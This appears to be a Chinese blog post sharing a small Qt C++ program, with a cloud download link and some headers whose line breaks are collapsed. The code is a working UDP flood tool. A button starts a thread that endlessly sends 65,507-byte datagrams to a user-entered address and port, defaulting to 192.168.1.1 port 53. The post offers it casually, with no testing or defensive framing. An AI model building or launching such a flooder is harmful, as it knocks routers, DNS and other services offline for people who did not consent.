当前位置: 首页 > news >正文

没有事情做 随手写的小程序

Qt  代码包 在百度网盘里

链接: https://pan.baidu.com/s/17yjeAkzi18upfqfD7KxXOQ?pwd=6666

dialog.h :

#ifndef DIALOG_H
#define DIALOG_H#include <QDialog>
#include <mythread.h>QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACEclass Dialog : public QDialog
{Q_OBJECTpublic:Dialog(QWidget *parent = nullptr);~Dialog();mythread *thread;private slots:void on_pushButton_clicked();void on_pushButton_2_clicked();private:Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h  :

#ifndef MYTHREAD_H
#define MYTHREAD_H#include <QObject>
#include <QThread>
#include <QUdpSocket>
#include <QByteArray>
#include <QString>
#include <QHostAddress>
#include <QDebug>class mythread : public QThread
{Q_OBJECT
public:mythread();QString address;QString port;QByteArray buffer;void run();QUdpSocket *socket;void setaddress(QString maddress);void setport(QString mport);void setstop(bool mclose);bool close;};#endif // MYTHREAD_H

dialog.cpp :


#include "dialog.h"
#include "ui_dialog.h"Dialog::Dialog(QWidget *parent): QDialog(parent), ui(new Ui::Dialog)
{ui->setupUi(this);
}Dialog::~Dialog()
{delete ui;
}void Dialog::on_pushButton_clicked()
{thread = new mythread();thread->setstop(true);thread->setaddress(ui->lineEdit->text());thread->setport(ui->lineEdit_2->text());thread->start();thread->start();thread->start();thread->start();thread->start();thread->start();
}void Dialog::on_pushButton_2_clicked()
{thread->setstop(false);
}

mythread.cpp  :

#include "mythread.h"mythread::mythread()
{socket = new QUdpSocket(this);address = "192.168.1.1";port = "53";close = true;
}void mythread::run()
{for(int i=0;i<65507;i++){buffer.append("a");}while(close){socket->writeDatagram(buffer,QHostAddress(address),port.toInt());}
}void mythread::setaddress(QString maddress)
{address = maddress;
}void mythread::setport(QString mport)
{port = mport;
}void mythread::setstop(bool mclose)
{close = mclose;
}

.pro  :

QT       += core gui networkgreaterThan(QT_MAJOR_VERSION, 4): QT += widgetsCONFIG += c++17# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0SOURCES += \main.cpp \dialog.cpp \mythread.cppHEADERS += \dialog.h \mythread.hFORMS += \dialog.ui# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target

http://www.lryc.cn/news/296275.html

相关文章:

  • 简单说网络:TCP+UDP
  • Containerd 的前世今生和保姆级入门教程
  • 分享78个行业PPT,总有一款适合您
  • VR全景技术可以应用在哪些行业,VR全景技术有哪些优势
  • c#cad 创建-点(六)
  • 【JS逆向八】逆向某企查网站的headers参数,并模拟生成 仅供学习
  • Springboot+vue的社区智慧养老监护管理平台设计与实现(有报告),Javaee项目,springboot vue前后端分离项目
  • STM32学习笔记——定时器
  • Android编程权威指南(第四版)- 第 4 章 UI状态的保存与恢复
  • 代理模式
  • C++三剑客之std::any(一) : 使用
  • 2024年:用OKR管理你的生活
  • Lua迭代器以及各种源函数的实现
  • e5 服务器具备哪些性能特点?
  • 《C++ Primer Plus》《2、开始学习C++》
  • Backtrader 文档学习- Sizers
  • 基于YOLOv8算法的照片角度分类项目实践
  • go语言进阶篇——面向对象(一)
  • C#,栅栏油漆算法(Painting Fence Algorithm)的源代码
  • java_error_in_pycharm.hprof文件是什么?能删除吗?
  • LeetCode 491 递增序列
  • 考研/计算机二级数据结构刷题之顺序表
  • Git 代码协同的使用方法 for Azure DevOps
  • 数据库学习笔记2024/2/5
  • PSM-Net根据Stereo图像生成depth图像
  • Mocaverse NFT 概览与数据分析
  • SpringBoot之事务源码解析
  • FPGA高端项目:解码索尼IMX327 MIPI相机转USB3.0 UVC 输出,提供FPGA开发板+2套工程源码+技术支持
  • 基于高通滤波器的ECG信号滤波及心率统计matlab仿真
  • springCould中的gateway-从小白开始【9】